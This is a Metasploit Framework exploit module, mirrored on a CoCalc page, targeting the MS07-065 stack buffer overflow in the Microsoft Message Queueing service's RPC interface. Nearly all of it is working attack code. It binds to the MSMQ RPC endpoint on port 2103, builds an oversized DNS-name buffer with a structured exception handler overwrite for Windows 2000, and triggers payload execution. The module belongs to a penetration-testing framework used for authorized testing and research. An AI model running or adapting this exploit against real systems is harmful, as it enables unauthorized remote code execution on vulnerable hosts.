Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/dcerpc/ms07_065_msmq.rb
29026 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::DCERPC
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'MS07-065 Microsoft Message Queueing Service DNS Name Path Overflow',
17
'Description' => %q{
18
This module exploits a stack buffer overflow in the RPC interface
19
to the Microsoft Message Queueing service. This exploit requires
20
the target system to have been configured with a DNS name and
21
for that name to be supplied in the 'DNAME' option. This name does
22
not need to be served by a valid DNS server, only configured on
23
the target machine.
24
},
25
'Author' => [ 'hdm' ],
26
'License' => MSF_LICENSE,
27
'References' => [
28
[ 'CVE', '2007-3039'],
29
[ 'OSVDB', '39123'],
30
[ 'MSB', 'MS07-065'],
31
],
32
'Privileged' => true,
33
'Payload' => {
34
'Space' => 1024,
35
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\xff",
36
'StackAdjustment' => -3500
37
38
},
39
'Targets' => [
40
[
41
'Windows 2000 Server English',
42
{
43
'Platform' => 'win',
44
'Ret' => 0x75022ac4 # ws2help - pop/pop/ret
45
},
46
],
47
],
48
'DisclosureDate' => '2007-12-11',
49
'DefaultTarget' => 0,
50
'Notes' => {
51
'Reliability' => UNKNOWN_RELIABILITY,
52
'Stability' => UNKNOWN_STABILITY,
53
'SideEffects' => UNKNOWN_SIDE_EFFECTS
54
}
55
)
56
)
57
58
# Change the default port values to point at MSMQ
59
register_options(
60
[
61
Opt::RPORT(2103),
62
OptString.new('DNAME', [ true, 'The DNS hostname of the target' ]),
63
]
64
)
65
end
66
67
def autofilter
68
# Common vulnerability scanning tools report port 445/139
69
# due to how they test for the vulnerability. Remap this
70
# back to 2103 for automated exploitation
71
72
rport = datastore['RPORT'].to_i
73
if (rport == 445 or rport == 139)
74
datastore['RPORT'] = 2103
75
end
76
77
# The fqdn is required to exploit this bug
78
if (!(datastore['DNAME']))
79
# XXX automatically determine the hostname
80
return false
81
end
82
83
true
84
end
85
86
def exploit
87
connect
88
print_status("Trying target #{target.name}...")
89
90
handle = dcerpc_handle('fdb3a030-065f-11d1-bb9b-00a024ea5525', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
91
print_status("Binding to #{handle} ...")
92
dcerpc_bind(handle)
93
print_status("Bound to #{handle} ...")
94
95
dname = datastore['DNAME']
96
97
boom = rand_text_alphanumeric(4096)
98
99
hname, domain = dname.split('.')
100
101
if (!domain)
102
print_status('The DNAME parameter specified is not valid.')
103
print_status('This option must be the fully-qualified domain name of the target (as it has been configured).')
104
return
105
end
106
107
off = 310 - (hname.length * 2)
108
109
seh = generate_seh_payload(target.ret)
110
boom[off, seh.length] = seh
111
112
buff = Rex::Text.to_unicode("#{dname}\\")
113
buff << boom
114
buff << "\x00\x00"
115
116
# Data alignment
117
buff << "\x00" while (buff.length % 4 != 0)
118
119
stubdata =
120
NDR.long(1) + # [in] long arg_1,
121
NDR.UnicodeConformantVaryingStringPreBuilt(buff) + # [in][string] wchar_t * arg_2,
122
NDR.long(0) * 5 # ... fields we can ignore
123
124
print_status('Sending exploit...')
125
126
begin
127
dcerpc.call(6, stubdata)
128
129
if (!dcerpc.last_response.nil? and !dcerpc.last_response.stub_data.nil?)
130
case dcerpc.last_response.stub_data
131
when "\x14\x00\x0e\xc0"
132
print_error('Error: The wrong value has been supplied for the DNAME parameter')
133
print_error('This value must be the fully-qualified domain name of the target')
134
print_error('Many systems have no FQDN configured and cannot be exploited')
135
else
136
print_status('An unknown response was received from the server:')
137
print_status('>> ' + dcerpc.last_response.stub_data.unpack('H*')[0])
138
end
139
end
140
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
141
print_status('No response from the DCERPC service (this is usually a good thing).')
142
end
143
144
handler
145
disconnect
146
end
147
end
148
149